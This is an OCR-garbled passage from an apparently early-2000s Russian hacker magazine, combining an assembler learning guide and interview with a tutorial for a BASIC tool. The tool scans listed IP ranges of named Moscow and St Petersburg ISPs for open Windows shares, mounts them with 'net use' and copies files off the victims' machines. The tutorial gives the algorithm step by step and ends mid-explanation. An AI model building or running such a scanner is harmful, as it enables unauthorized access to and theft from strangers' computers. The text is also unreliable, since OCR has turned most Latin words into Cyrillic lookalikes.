плюсы. Что касается ^ѵа, то она свое уже отслужила: 
слишком маленькая скорость и куча ограничений. Напро- 
тив, С++ позволяет создавать наиболее оптимальный 
код. Низкоуровневые языки, как С и ассемблер, имеют 
значительное преимущество в скорости и размере кода, 
но их использование требует отточенных навыков. Совре- 
менные разработчики ПО считают, что каждый пользова- 
тель имеет доступ к наиболее продвинутому компьютер- 
ному железу, в этом они очень сильно заблуждаются! Ста- 
тистика показывает, что средний компьютер по всему ми- 
ру это Репйит 133 МГц + 32 Мб РАМ + ѴѴіп95 + ѴСА мо- 
нитор + 1 Гб винчестер. Программисты, способные пи- 
сать на языках низкого уровня, могут создавать ПО, не 
требующее супержелеза, которое многие себе просто не 
могут позволить. 

- Так программисты на ассемблере нуж- 
ны сегодня? 

- Это непростой вопрос, чтобы ответить так сразу. Но с 
уверенностью можно сказать, что кодер, знающий асм, 
лучше своего коллеги, не знающего оного :). Про- 
граммист, разбирающийся в низкоуровневых инст- 
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АССЕМБЛЕР: СВЕЖИЙ ВЗГЛЯД 



ф ТапаТ (ТапаТ@ІіоІтаіІ.ги) 



- Ну ладно. А сам-то ты используешь 
асм в работе? 

- Да. Мне очень часто приходится писать маленькие кри- 
тичные к скорости программы. В таких случаях лучше ас- 
семблера не найти. 

- Ну и, наверно, твой любимый пакет это 
тазт32 :)? 

- Конечно :). МА8М32 хорошо работает и содержит в себе 
кучу нужных утилит, которые не поставляются отдельно 
вместе с компиляторами. 

- Можешь объяснить, какова роль 
МісгозоН в создании твоего пакета? 

- МА8М32 это проект, разработанный совместно с Ісгеііоп 
для того, чтобы кодеры по всему миру могли изучать ас- 
семблер. Его основная цель - дать возможность молодым 
кодерам создавать любые приложения, которые предыду- 
щее поколение (наше ;)) делало запросто. Создание проек- 
та стало возможно потому, что МісгозоЙ лицензировала 
МІ_.ЕХЕ (компилятор - прим, автора) и ІЛМК.ЕХЕ (линкер, 
или упаковщик - прим, автора) в ѵѵіп98 00К. Таким обра- 
зом, их можно было использовать для разработки не толь- 
ко драйверов, но и приложений. Это было на руку и 
МісгозоЙ, и программистам, которые были заинтересованы 
в создании низкоуровневого кода для х86 процессоров под 
платформу ѴѴіпсІоѵѵз. То есть и программисты, и МісгозоЙ 
выиграли от лицензионного соглашения в ѵѵіп98 ЭЭК. 

- Стив, спасибо! Напоследок - хочешь 
что-нибудь сказать нашим читателям? 

- Вообще-то я хочу сделать важное замечание. Если про- 
граммист знает такой язык, как ассемблер, это говорит о 
том, что это чертовски хороший профессионал, так как ас- 
семблер требует недюжинного мастерства. Цена всех затра- 
ченных усилий окупится в будущем, когда появятся новые 
процессоры (их наше поколение уже не увидит). Тогда пона- 
добятся очень умные кодеры, чтобы работать с ними. Мно- 
гие избрали легкий путь и пишут на ѴізиаІ Вазіс, Заѵа и т.п., 
но как только поменяется операционная система и улучшит- 
ся железо, многие из этих языков бесследно исчезнут. 

Когда вы пытаетесь изучить С или ассемблер, то приобре- 
таете полезные навыки, которыми будете пользоваться в 
течение всей своей жизни, в отличие от тех людей, кото- 
рые, избрав легкий путь, окажутся не у дел в будущем. 

Чтобы доказать свою точку зрения, расскажу анекдот (мне 
его поведал знакомый из Лос-Анджелеса). 

Что скажет программист на С, встретив программиста на АОА? 

- Я буду бифштекс с луком ;). 

Для танкистов поясняю анекдот: АРА это 
язык программирования, который ког- 
да-то был очень популярен. А потом 
вдруг - раз и исчез. Просто компьютеры 
поменялись, железо улучшилось, ОС 
новая... В общем, остались АОА-кодеры 
без зарплаты - вот и работают теперь 
официантами в закусочной, куда и за- 
шел поесть программист на С. 

В общем, всю мысль Стива можно ре- 
зюмировать очень просто: изучая ас- 
семблер, ты кладешь свои знания в 
банк. С солидным процентом. То есть не 
прогадаешь. 

А вот о том, как его изучать, что и где 
брать, мы поговорим далее. 



<Внимание!> 



По ходу статьи хочу обратить твое внимание на несколько 
фактов. Во-первых, все интервью, опубликованные в этой 
статье, являются полным эксклюзивом, мы сами беседо- 
вали с каждым, а потом переводили все это на русский. 
Так что в правдивости можешь не сомневаться. Во-вто- 
рых, далее по тексту мы будем тебе рекомендовать кучу 
всяких сайтов, справочников, книг... Уже в начале статьи 
была фраза "...высказывание С.В. Зубкова (автора самой 
лучшей в России книги по ассемблеру)...". Так вот, это - 
не реклама. Всюду, где что-то будем называться лучшим, 
это и есть то самое "Йіе без* в натуре". 



<Компилятор - всему голова> 



Сейчас мы тебя, словно маленького мальчика, проведем 
по магазину и подберем штанишки, майку, кепку, крос- 
совки... Только в компьютерном смысле этих слов. Итак, 
куда ни сунься, а без компилятора ты в любом случае не 
обойдешься. Какой выбрать? А ведь их немало! Так что да- 
вай разбираться по порядку. Все зависит от того, под ка- 
кую ОС ты будешь писать. Варианта может быть два: ѴѴіп 
и ІІпіх. Если ты работаешь еще в 005 - то тебе надо ска- 
чать ТА5М (ТигЬо АззетЫег от ВогІапсІ), скопить деньги на 
ноутбук и отправиться в психушку. Ибо 008 - мертва, зна- 
чит ты некрофил, а им место только в белых стенах. Что 
там у нас осталось? Ага, ѴѴіп и ІІпіх. Начнем мы, пожалуй, 
с ІІпіх. Честно говоря, конкуренция среди компиляторов 
здесь есть и немалая. Однако впереди планеты всей идет 
пакет под названием ІМАЗМ (ІМеЙ/Ѵісіе АззетЫег). Что это 
за девочка и где она живет? 

ІМАЗМ - это 80x86 ассемблер. Он поддерживает широкий 
диапазон форматов объектных файлов, включая форматы 
І_іпих а.оЫ и ЕІ_Р, МеШЗО/РгееВЗО, СОРЕ, МісгозоЙ 16-ЬіІ 
ОВЭ и ѴѴіп32. ІМАЗМ также способен создавать простые 
бинарные файлы. Синтаксис ИАЗМ максимально упрощен 
для понимания и похож на синтаксис ІпѣеІ, но слегка по- 
сложнее. Он поддерживает инструкции РеЫіит, Р6 и 
ММХ, а также имеет макрорасширения. 

В общем, ІМАЗМ штука мощная, но с ограничениями. Во- 
первых, он имеет несколько другой синтаксис. То есть, 
научившись писать под него проги, тебе понадобится не- 
много попотеть, чтобы написать то же самое под МАЗМ 
(ассемблер от МісгозоЙ). Второе, по МАЗМ нет нормаль- 
ных книг и справочников, а значит, тебе придется изучать 
его по документации. Благо мы об этом позаботились, и 
необходимые руководства на русском языке выложили на 
наш СО. Но! У ИАЗМ есть один оч-чень большой плюс: 
код, написанный на нем, можно заставить работать на лю- 
бой платформе. И ѴѴіпсІоѵѵз, и І_іпих, и *В50. Для этого 
просто при компиляции надо указывать необходимые те- 
бе ключи. 

Кстати, сам ИАЗМ это всего лишь компилятор. А для ра- 
боты тебе понадобится еще и линкер. В таком случае мы 
рекомендуем АІіпк - упаковщик (упаковщик и линкер это 
одно и то же), разработанный специально для этого ком- 
пилятора. И ІМАЗМ, и АІіпк бери с нашего диска. Для рабо- 
ты с ІМАЗМ тебе понадобится еще и оболочка. Что-то типа 
ЮЕ. Но о ней мы поговорим ниже. А что делать тем, у ко- 
го стоит любой клон ѴѴіпсІоѵѵз? Ответ прост: использовать 
МА8М32. Почему? Попробую объяснить. 

Конкурентов может быть только два: ТАЗМ (от дяди Бор- 
мана) и МАЗМ (от мелкой&мягкой старушки). Начнем с 
ТАЗМ. В этот пакет входит компилятор, линкер, редактор 
ресурсов и куча всяких утилит. Проблема кроется в ком- 
пиляторе. Во-первых, ТАЗМ сам по себе может некоррект- 
но компилировать код под ѴѴіпсІоѵѵз. Это факт - проги бу- 
дут виснуть и работать нестабильно. Если ты всю жизнь 
кодишь на ТАЗМ под ѴѴіп и у тебя еще ничего не висло - 
значит, ты пишешь лишь простенькие проги. Поверь, для 



серьезного дела ТАЗМ не годится - например, для напи- 
сания драйверов. Во-вторых, дядя Борман перестал раз- 
вивать свой ассемблер как самостоятельный продукт. То 
есть последний ТАЗМ не поддерживает новейшие расши- 
рения типа 53Е2. Хотя асм-компилятор, поставляемый с 
Эеірііі или СЬиіІсІег, поддерживает все нововведения. Но 
для написания чистых программ на ассемблере он не годит- 
ся. Следующий - МАЗМ. Профи любят его за классное каче- 
ство работы компилятора и линкера. Но в сам пакет МАЗМ 
не входят дополнительные утилиты, не говоря уже об ЮЕ. А 
МА8М32 как раз и включает в себя компилятор и упаковщик 
МАЗМ, и кучу всякого барахла, без которого жить тошно. 
Поэтому мы останавливаем свой выбор на МА5М32 (по- 
следний дистрибутив которого качай с нашего СО). 

<Без ЮЕ как без рук!> 



Компилятор всему голова, а без нормальной среды разра- 
ботки ты далеко не уедешь. Если ты уже профи, то, ско- 
рее всего, уже подыскал себе нормальную ЮЕ. А вот для 
бегиннера это точно проблема. 

Вся беда в том, что с самого начала была заложена дурац- 
кая традиция: пишешь свой код в спартанских условиях в 
любом текстовом редакторе, компилируешь и линкуешь 
его командной строкой. Все было бы хорошо, если бы не 
одно "но". Представь, ты написал прогу строк эдак в 100 
(для асм-прог это очень маленький размер). Компилятор 
тебе говорит: типа, в строке номер 50 вместо тоѵ ты на- 
писал таѵ. Что ты делаешь? Открываешь текстовый ре- 
дактор и начинаешь искать эту пресловутую строку: ника- 
кой подсветки, никакого указания на ошибку. Как пещер- 
ный человек! Несправедливо, ведь еще с появления Оиіск 
Вазіс и ТигЬо Вазіс каждый компилятор имел при себе 
еще и текстовый редактор, который и на ошибку указывал, 
и синтаксис подсвечивал. Так что ЮЕ нужна! 

Идем далее. Для каждого компилятора есть своя ЮЕ. И не 
одна! Конечно, существуют среды разработки, которые 
можно настроить под любой компилятор (для этого надо 
копаться в настройках среды и вбивать туда необходимые 
ключи к компилятору и линкеру). Но опыт показывает, что 
лучше выбрать одну узко заточенную под конкретный про- 
дукт ЮЕ и юзать ее. 

Для ИАЗМ существует неплохая штуковина под названием 
№зтЮЕ. Ее мы тебе и предлагаем. Она имеет интерфейс 
чисто борландовского Досовского редактора, но со свои- 
ми функциями справляется нормально. 

Выбрать же ЮЕ для МАЗМ или МА8М32 (вся фича в том, 
что раз компилятор и линкер у них одинаковый, то и обо- 
лочки дружат между собой) намного сложнее. Тут намно- 
го больше вариантов, чем для ИАЗМ. 

Если честно, ЮЕ это как девушка. Одним нравятся блон- 
динки, другим брюнетки, третьим шатенки... так и со сре- 
дой разработки. Чтобы не заглушать твою индивидуаль- 
ность, мы выкладываем тебе на диск все самые лучшие 
оболочки на сегодняшний день (ѴізиаІ АЗМ от Джастина 
Декера, ѴізиаІ АЗМ ЮЕ от Томаса Жагера, АЗМЕсІіІ от 
Ивейна, ВАЭ АЗМ от Кетило, ѴізиаІ АЗМ от Прадипана...). 
Разобраться с ними достаточно просто: графическая сре- 
да в любом случае легче командной строки. Так что раз- 
деляй и властвуй - выбирай и запускай. 



<Самый лучший хелп> 



Самое лучшее интерактивное пособие на сегодня создано 
Ральфом Брауном. Об этом знает любой ассемблерщик. 
Но далеко не у каждого стоит такой хелп. Почему? Неуже- 
ли его так сложно найти? Нет, найти его - дело пяти се- 
кунд. А вот установить - это действительно сложно. Итак, 
инструкция по установке: 

1. Возьми файлы іпіегбі а.гір ... іпІегбІТгір и распакуй их 
все в один каталог. На вопрос о перезаписи уже су- 
ществующих Тііе ісі.сііг отвечай, что хочешь. 

2. Архив НС.гір распакуй туда же. 

3. Из архива Р вылезет іпйл/2Ыр.2Ір (именно с буков- 
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кдштктная музыка 



МРЗ плейеры 6УРА - это новое измерение твоей свободы. Скачай свою любимую музыку из Іпіетеі, запиши 
ее на СО, флеш-карту или напрямую в память плейера и наслаждайся. С помощью прилагаемых к 6УРА 
программ ты сможешь создавать свои миксы и редактировать личную фонотеку Тботзоп является одним из 
изобретателей формата МРЗ, а серия 6УРА - воплощение мечты об идеальных МРЗ плейерах - легких, 
универсальных и удобных в использовании. 



Подробная информация о формате МРЗ, плейерах Тботзоп 6УРА, 
интернет-магазин, а также ссылки на МРЗ сайты на нашем сайте 



товар сертифицирован 
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АССЕМБЛЕР: СВЕЖИЙ ВЗГЛЯД 



ф ТапаТ (ТапаТ@ІіоІтаіІ.ги) 



кой ѴѴ!). Распакуй его в этот же каталог. 

4. Из іпѣл/2Ыр.2Ір вылезет іпМп.Ьаі Найди в нем строку 
"ІісЗІ іпіѵѵіп" и замени на "Ііср іпіѵѵіп". 

5. Запускай іпіѵѵіпМ и жди. Ждать придется прилично (ми- 
нут пять)! На любые возникающие ошибки жми кнопку, что- 
бы продолжить, и не обращай внимания. В результате дли- 
тельных беганий точек по экрану получишь іпІѵѵіп.Ыр, кото- 
рый и является искомым файлом справки. Если во время от- 
крытия этого хелпа будут возникать ошибки (это может быть 
из-за того, что мы сделали с тобой 16-битный хелп, а по- 
следние ѴѴіпсІоѵѵз, как известно, 32-битные), то просто жми 
на "ОК" и не обращай на них внимания. Все будет работать. 



ССамая лучшая документация> 



Для программирования под ѴѴіпсІоѵѵз нет ничего лучшего, 
чем туториалы, написанные Ісгеііоп'ом. Он потратил це- 
лых два года на то, чтобы любой (даже начинающий!) ко- 
дер смог почти сразу въехать в программирование на ас- 
семблере под Винду. Его основной девиз: "Кодить под 
Винду на асме не сложнее, чем на С". Вся документация 
Ісгеііоп'а разбита на уроки, изучать которые надо, естест- 
венно, по порядку. Ты найдешь там очень много полезно- 
го. К тому же мы позаботились и выложили на диск самую 
полную РУССКОЯЗЫЧНУЮ версию туториалов. 



рассылку "Ассемблер? Это просто. Учимся программиро- 
вать". Сейчас эта рассылка уже насчитывает около 35 уро- 
ков. Из которых первые 31 о кодинге под 005. На сегодня 
это самая понятная документация по асму: все объясняется 
с самого начала и очень подробно. В рассылке последова- 
тельно разобрано, как создавать простые и сложные прило- 
жения, вирусы, антивирусы, файловые менеджеры и т.д. 
Один чел после изучения 14 уроков (он все это проглотил за 
один день) нагадил собственный вирус. А ведь в начале-то 
парнишка знаниями не отличался! Архив этой рассылки то- 
же лежит на нашем диске. Сложнее всего тем, кто выбрал в 
качестве компилятора ИАЗМ. Им мы можем посоветовать 
только русскоязычную документацию с нашего диска. 



<Книга ■ это сила> 



Какой бы документацией ты ни запасся, а хорошая книж- 
ка-справочник тебе в любом случае понадобится. Хорошо 
еще, чтобы в ней не только справочные данные были, а 
еще и подробные инструкции, как программировать ви- 
деоадаптер, порты вводы/вывода, защищенный режим и 
еще туеву хучу всяких вещей. И такая книга есть! Это 
"АззетЫег под 003, ѴѴіпсІоѵѵз и ІІпіх" С. В. Зубкова. Ее 
можно использовать как справочник (содержит исчерпы- 
вающую информацию) и пособие по программированию. 
В этой книге (в отличие от других) рассматриваются во- 
просы программирования под ѴѴіп и под ІІпіх. Материал 
построен таким образом, чтобы ты мог писать на асме под 
любой компилятор: и МАЗМ, и ТАЗМ. А это не мало! 
Однако есть у нее и минусы. Во-первых, слишком бегло 
разбирается кодинг на асме под ѴѴіп. Так что туториалам 
Ісгеііоп'а точно уступает. Во-вторых, она не очень легка 
для начинающего. То есть идеально, если ты будешь ее 
читать параллельно с рассылкой Калашникова. 



При открытии файла с туториалами у тебя вполне могут 
быть проблемы с кодировкой. Но не пугайся! Чтобы их из- 
бежать, открывай документацию через ІЕ (Файл -> От- 
крыть). Если ты только начинаешь изучать асм, то перво- 
наперво нужно въехать в основы различных систем исчис- 
ления, базовых команд и адресации. Легче всего это изу- 
чить на примере старой доброй матушки МЗ-ЭОЗ. Тут ту- 
ториалы Ісгеііоп'а не помогут - ведь он учит пользоваться 
ѴѴіп АРІ на асме, то есть предполагается, что ты уже мно- 
гое знаешь. В таком случае есть другая очень мощная до- 
кументация. Ее автор - Олег Калашников. Он организовал 



Ближайшие конкуренты - это книги Юрова и Абеля. Разбе- 
ремся по порядку. Юров написал несколько книг, одна - 
практикум, другая - теория, третья - справочник. Однако 
особой популярностью они не пользуются. Почему? Дело 
в том, что программирование под ѴѴіп там либо вообще не 
рассматривается, либо через пень колоду. Так что единст- 
венную ценность может представлять лишь практикум: в 
нем собрано много полезных алгоритмов, которые часто 
придется использовать в своих программах. 

Следующая претендентка - книга Питера Абеля. Она называ- 
ется "Программирование на ассемблере для 
ІВМ РС". Вообще, возраст сего манускрипта 
не маленький, так что практической ценности 
он не имеет. Но зато считается классикой. То 
есть ты не сможешь себя считать мало-маль- 
ски мощным программистом, пока это не про- 
читаешь. Книгу Зубкова в сети найти невоз- 
можно, так что не жалей денег - купи. Это кни- 
га из серии "МІІ5Т НАѴЕГ. А вот книгу Абеля 
мы выложили на нашем диске. 



<Полезное в сети> 



В сети тоже есть масса всего полезного. 
Это не только мощные сайты, но и хорошие 
рассылки. 

Шр : //азт . каІазНпікоИ ш/ргод/ - хорошая 
подборка софта и документации по асму. 

№р://а5т.каІа5МпікоН.ги - здесь можно 
подписаться на три рассылки "Ассемблер? 
Это просто! Учимся программировать", "Ас- 
семблер? Это просто! Учимся программи- 
ровать (РАО)", "Операционная система 'с 
нуля' на Ассемблере и С". Первая - отлич- 
ное пособие по программированию. Вторая 
- позволяет задавать свои вопросы и быст- 
ро получать на них ответы. Третья - расска- 
жет, как написать свою собственную ОС. 




ИИр://ѵѵіп32а5т.сіЬ.пеІ - домашняя страничка 
Ісгеііоп'а. МИЗТ ѴІ5ІТ! 

Шр://ѵѵа5т.2І1е.ги/ - очень много всего: доки, тулзы, 
утилиты, исходники, библиотека... 

Шр://ѵѵазт.ги/ - этот сайт стал преемником ІШр://Ііі- 
ІесП.пзуз.Ьу/ (который теперь не существует как единое 
целое). На нем огромное количество статей, туториалов, 
тулзов и т.п. Пожалуй, самый мощный сайт в сети. 

Шр://Иі-ІесІі.п5у5.Ьу:8101/гНт/ - архив двух рассы- 
лок: по низкоуровневому программированию и по кодин- 
гу на асме под ѵѵіп32. 

Шр://ѵѵѵѵѵѵ.тоѵ5с1.сот/ - домашняя страница Стива 
Хатчессона. Тут лежит МА8М32 и еще куча всего... 

ШрѴ/азтіоигпаІЛгеезегѵегз.сот - журнал по про- 
граммированию на асме. Это ссылка на страницу-при- 
зрак, которая доступна в течение 15 дней в месяц. 

Нйр://Иоте.ос1.иа/~Ыаскѵѵ/ - домашняя страница 
ВІаскѴѴоІТ'а. Куча документации и софта. 

Шр://ар.сііа5рога.ги/сді-Ьіп/с1оѵѵп.рІ - Планета Ас- 
семблера. Исходники и документация... 

<Отладчик и дизассемблер> 



Я думаю, для тебя не секрет, что самые крутые проги это ЮА 
Рго и Зойісе. О них ты не раз читал в X ("Дизассемблер. Брат 
ассемблера" - август 2001 г., "ЗоЛІсе для начинающих" - ок- 
тябрь 2001 г., и вообще просматривай почаще рубрику 
"Взлом"). В последнее время выходило много новых версий 
этих продуктов. Поэтому мы положили на СЭ еще и самые 
свежие дистрибутивы этих инструментов. 

Следует оговориться - ни дизасм, ни отладчик не понадобят- 
ся тебе в начале пути. Однако уже через несколько недель 
без них не обойтись. Так что всегда держи их наготове. 



В принципе мы рассказали тебе почти все, что 
хотели. Осталось добавить лишь самую ма- 
лость. Ассемблер - это язык неограниченных 
возможностей, с его помощью действительно 
можно делать абсолютно все. Надо только 
знать чувство меры - ведь не станет же никто 
красить забор кисточкой для акварели? Так и с 
асмом - он не нужен для написания "больших и 
тупых" прог, но творить шедевры можно толь- 
ко на нем. Удачи тебе и счастливой отладки! 




[ На нашем СО ты найдешь са- 
[ мые последние версии ас- 
! семблеров (МА8М, МА8М32, . 
I МА8М, ТА8М), множество | 
I оболочек для написания сво- \ 
I его кода, 8оМсе (самый све- | 
I жий + лоадер для ѴѴіпМЕ), ЮА I 
I Рго, туториалы Ісгеііоп'а на I 
I русском, документацию по • 
[ МА8М'у на русском, архив су- 
! перрассылки по программи- 
■ рованию на асме и кучу книг, 
ь — — — — — — — — — — — — — ^ 
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Вместо эпиграфа: Компьютер делает не то, что ты от не- 
го хочешь, а то, что ты ему прикажешь... 



Комментарий редактора: 



Надеюсь, листая очередной но- I 
мер X, ты думаешь не только о I 
том, как бы и кому поглобальнее I 
досадить или собрать побольше I 
фришных паролей. Читая именно | 
этот материал, очень рекомендую | 
тебе вспомнить о содержании по- і 
нятия "личная ответственность" и ! 
всего с ним связанного. Говоря ! 
иначе - сейчас у тебя в руках мо- [ 
лоток. Как им распорядиться - де- I 
ло твое, сугубо личное. Можешь I 
забить им гвоздик в стенку, а мо- I 
жешь - и в голову соседа. И то и | 
другое - на твоей совести. Не пе- | 
репутай ничего :)) 



Есть такие люди, которые уверены на 100%, что если су- 
ществует софт для тех или иных целей, то нет никакого 
смысла писать подобные программы. Однако это совсем 
не так. Вот, например, ты используешь какой-нибудь экс- 
плойт и совершенно не задумываешься о принципах его 
работы. Тебя не мучает желание написать что-либо по- 
добное, так как тебе хватает уже написанного. Но есть лю- 
ди, которые считают иначе. Они копаются в исходниках 
программ, ищут литературу и делают это из чистого лю- 
бопытства. Проходит время, они набираются опыта и на- 
чинают писать серьезный софт как для хака, так и для 



обычной работы. Их друзья и знакомые удивляются - "Как 
тебе это удается?". Пытаются найти какие-то несуществу- 
ющие секреты мастерства или задают вопросы а-ля "Как 
написать эксплойт?". А на самом деле никакого суперсе- 
крета и нет. Просто человек, юзая разные про- 
граммы, параллельно пытался разобраться в 
принципах их работы и написать что-то подобное. | 

"А зачем писать-то?" - спросят некоторые. Да за- I 
тем, что, не написав программы, не разберешься - 
во многих тонкостях. Мало просто знать алгоритм, * 
нужно попробовать все на личной шкуре. Только I 
после этого ты поймешь, как и что работает в дей- | 
ствительности. Так к чему это я все это рассказы- Ы 
ваю? Да все к тому, что многие деятели использу- 
ют всякие сканеры шаров и считают себя супер- мега- кул- 
хакерами. Я надеюсь, что ты не относишься к их числу и 
даже если используешь всякие там Легионы и хотя бы не- 
много интересуешься принципами их работы или хочешь 
написать подобную вещь. Вот именно этим мы сегодня и 
займемся. 

Только сам Легион мы переписывать не будем, а сделаем 
круче! Мы напишем программу еще лучше! Эта нехитрая 
софтина будет сканить заданный диапазон ІР-адресов 
твоего провайдера и автоматически утаскивать нужные 
файлы с открытых дисков. И не думай, что я буду читать 
тебе здесь мануалы по написанию программ на ассембле- 
ре, так как отлично понимаю, что это смогут сделать еди- 
ницы. Я расскажу тебе, как написать эту суперпрограмму 
на банальном ВАЗІС'е, который знает любой школьник, 
посещающий уроки информатики. Тебе даже не потребу- 
ется знание сети и ее протоколов. Тебе вообще ничего не 
понадобится, кроме собственных рук. Ну что, приступим? 



<Подготовка к написанию> 



Для нормальной работы нашей программы нам нужно наст- 
роить под виндами сеть соответствующим образом. Лезь в 



"Панель управления", затем кликай по значку "Сеть". Так 
как я не знаю, что у тебя там уже может быть установлено, 
то сделаем проще. Удали все установленные компоненты и 
кликни кнопку "Добавить". У тебя должно появиться окош- 



ко с заголовком "Выбор типа компонента", где будут четы- 
ре варианта: "Клиент", "Сетевая плата", "Протокол" и 
"Служба". Выбирай "Клиент" и кликай на кнопку "доба- 
вить". У тебя появится окно "Выбор: Клиент сети". В нем ты 
увидишь еще два списка. Выбирай в левом пункт 
"МісгозоЛ", а в правом - "Клиент для сетей МісгозоТС". За- 
тем дави на "Ок". Теперь в окошке "Сеть" должны появить- 
ся 3 пункта: "Клиент для сетей МісгозоЛ", "Контроллер уда- 
ленного доступа" и "ТСР/ІР". Если все эти 3 пункта у тебя на 
месте, то кликай опять "Добавить". Теперь в окне "Выбор 
типа компонента" выбери пункт "Служба" и дави кнопку 
"Добавить". В появившемся окне выбирай пункт "Служба 
доступа к файлам и принтерам сетей МісгозоТС" и дави "Ок". 
Все. Теперь тебе осталось только кликать "Ок" в окне 
"Сеть" и ждать установки файлов и запроса о перезагрузке. 
Соглашаешься с предложением о перезагрузке, и твоя сеть 
готова. Все эти нехитрые комбинации были нам нужны для 
возможности подключения к расшаренным (открытым) ма- 
шинам в сети. Если у тебя что-либо не получилось, обра- 
тись к разработчику твоей операционной системы ;). Те- 
перь нам необходимы диапазоны, которые нужно будет 
сканировать. Ниже будут написаны диапазоны наиболее 
известных провайдеров Москвы и Питера. 



Мы не будем переписывать 
Легион, а сделаем круче! 
Мы напишем программу 
еще лучше! 




Ньюсы 1 1 Террум 2 



Взлом Юниксоид 








МОСКВА 



РТТ 

195.34.27.1 - 195.34.27.254 

195.34.30.1 - 195.34.30.254 
МТЫ 

212.188.96.1 -212.188.96.254 

212.188.111.1 -212.188.111.254 

195.34.37.1 - 195.34.37.254 

195.34.61.1 - 195.34.61.254 
ОКС 

212.48.130.1 -212.48.130.254 

212.48.131.1 -212.48.131.254 
САЯАѴАЫ 

212.158.178.1 -212.158.178.254 

212.158.179.1 -212.158.179.254 
СОМ8ТАК 

212.248.4.1 -212.248.4.254 

212.248.5.1 -212.248.5.254 

212.248.6.1 -212.248.6.254 

195.210.130.1 - 195.210.130.254 

195.210.132.1 - 195.210.132.254 

195.210.133.1 - 195.210.133.254 
ШРОТЕІ. 

195.170.202.1 - 195.170.202.254 
сітшЕ 

195.46.161.1 - 195.46.161.254 

195.46.166.1 - 195.46.166.254 

195.46.168.1 - 195.46.168.254 

195.46.169.1 - 195.46.169.254 

195.46.172.1 - 195.46.172.254 

195.46.173.1 - 195.46.173.254 

195.46.175.1 - 195.46.175.254 
ЗѴЫСНЯОЫЫЕ 

212.24.44.1 - 212.24.44.254 
80ѴАМ 

195.218.132.1 - 195.218.132.254 

195.239.68.1 - 195.239.68.254 
195.239.0.1 - 195.239.0.254 

195.239.1.1 - 195.239.1.254 

195.239.2.1 - 195.239.2.254 

195.239.3.1 - 195.239.3.254 

195.239.4.1 - 195.239.4.254 

195.239.5.1 - 195.239.5.254 

195.239.6.1 - 195.239.6.254 

195.239.4.1 - 195.239.7.254 

САНКТ-ПЕТЕРБУРГ 

80ѴАМ 

195.190.96.1 - 195.190.96.254 

195.190.102.1 - 195.190.102.254 

194.186.1.1 - 194.186.1.254 

194.67.46.1 - 194.67.46.254 
СОМ8ЕТ 

213.172.1.1 -213.172.1.254 

213.172.2.1 -213.172.2.254 

213.172.3.1 - 213.172.3.254 
РЕТЕШ.ШК 

195.242.16.1 - 195.242.16.254 

195.242.17.1 - 195.242.17.254 

195.242.18.1 - 195.242.18.254 

195.242.19.1 - 195.242.19.254 
ѴѴЕВ РШ8 

195.131.1.1 - 195.131.1.254 

195.131.50.1 - 195.131.50.254 

195.131.51.1 - 195.131.51.254 

195.131.75.1 - 195.131.75.254 

195.131.85.1 - 195.131.85.254 

195.131.86.1 - 195.131.86.254 
АОМІКАІ. 

194.105.201.1 - 194.105.201.254 

194.105.202.1 - 194.105.202.254 

194.105.203.1 - 194.105.203.254 



Теперь у нас есть все необходимое для написания 
самой программы. Как я уже говорил, в этой статье 
будет описан вариант написания на всем известном 
ВАЗІС'е, а соответственно, тебе он понадобится. 
Советую тебе взять ОиіскВазіс 4.0, так как в нем 
точно есть компилятор :). 



<Поехали!> 



Что должна сделать наша программа сразу после 
запуска? Нет, не отформатировать диск, она 
должна определиться с диапазоном. Пускай соф- 
тина будет создавать некий файл "ІР.ОАТ" и пи- 
сать в него все возможные адреса твоего про- 
вайдера из данных выше диапазонов. В дальней- 
шем программа будет брать из "ІР.ОАТ" последо- 
вательно, один за другим, адреса лузеров и об- 
рабатывать их. Теперь я опишу тебе сам алго- 
ритм сканирования и копирования. Нагляднее 
будет разбить все по пунктам и рассматривать в 
таком виде, как я сейчас и сделаю. После алго- 
ритма я опишу функции тех команд, которые бу- 
дут в нем присутствовать, и значения перемен- 
ных. Для усложнения задачи заставим программу 
автоматически находить на удаленном компью- 
тере папку ѴѴіпсІоѵѵз, например. Из этой папки 
программа будет копировать на твой винт все 
файлы с расширением "ІМГ. 

1) Генерация адресов в файл "ІР.ОАТ". 

2) Взять адрес и записать его в переменную ІР$. 

3) Сгенерировать командную строку по следую- 
щей формуле: 

СтсІЗІгІ $ = "пеі изе " + 0ізк$ + \\" + ІР$ + "\С 

> СОПІГОІ". 

4) Выполнить команду 5НЕІ_І_ СтсІЗІгІ $. 

5) Открыть файл "сопігоі" и считать оттуда стро- 
ку в переменную Тзігіпд. 

6) Если ТЗІгіпд содержит "Команда выполнена 
успешно.", то переходим на пункт 7. Если нет, то 
идем на пункт 2. 

7) Присваиваем переменной СтсІЗІгІ $ выраже- 
ние йізк + "Дтзсіоз.зуз" и делаем открытие фай- 
ла, указывая переменную СтсІЗІгІ $ как путь, на- 
пример: ОРЕИ СтсІЗІгІ $ РОВ ІМРІІТ АЗ #1. 

7) Ищем в открытом файле комбинацию симво- 
лов "ѴѴіпОіг" и в найденной строке, с отступом в 
9 символов от начала, считываем ее значение. 
Прибавляем в начало получившейся строчки вы- 
ражение йізк + Теперь присвоим получивше- 
еся выражение переменной. Назовем ее І_оШіг$. 

8) Создаем на диске С: папку, к примеру, "ЮН". 
Теперь выполняем следующую команду: 

ЗНЕІ_І_ "сору " + І_оІіОіг$ + "\*.іпі " + "С:\І_ОН\". 

9) Теперь выполняем следующую команду: 

5НЕІ_І_ "пеі изе " + йізк + ": " + "Д)ЕІ_ЕТЕ /ѴЕ5" 

10) Переходим на пункт 2. 

Теперь я разжую тебе каждую строчку нашего ал- 
горитма. Думаю, с первым и вторым пунктам ты 
разберешься самостоятельно, а вот в третьем 
есть команда, которая, к сожалению, некоторым 
неизвестна. Вот наша строчка: СтсІЗІгІ $ = "пеі 
изе " + 0ізк$ + ": \\" + ІР$ + "\С > сопігоі". Нач- 
нем с команды "пеі изе". Это ДОСовская коман- 
да, которая отвечает за подключение и отключе- 
ние расшаренных дисков на удаленной машине. 
Формат ее такой - "ИЕТ ІІ5Е СВОБОДНЫЙ_ДИСК: 
\\ I РАД Р ЕСУДАЛ ЕННОЙ_МАШИНЫ\ДИС КУДА - 
ЛЕННОЙ МАШИНЫ". Как ты, наверное, уже за- 
метил, в строке есть переменная Оізк. Наш алго- 
ритм подразумевал, что в этой переменной бу- 
дет содержаться имя диска, которого нет на тво- 
ем компьютере. В следующем пункте мы переда- 
ем сгенерированную строчку на выполнение в 



ДОС. Тот бережно выполняет заданную команду и все, что попы- 
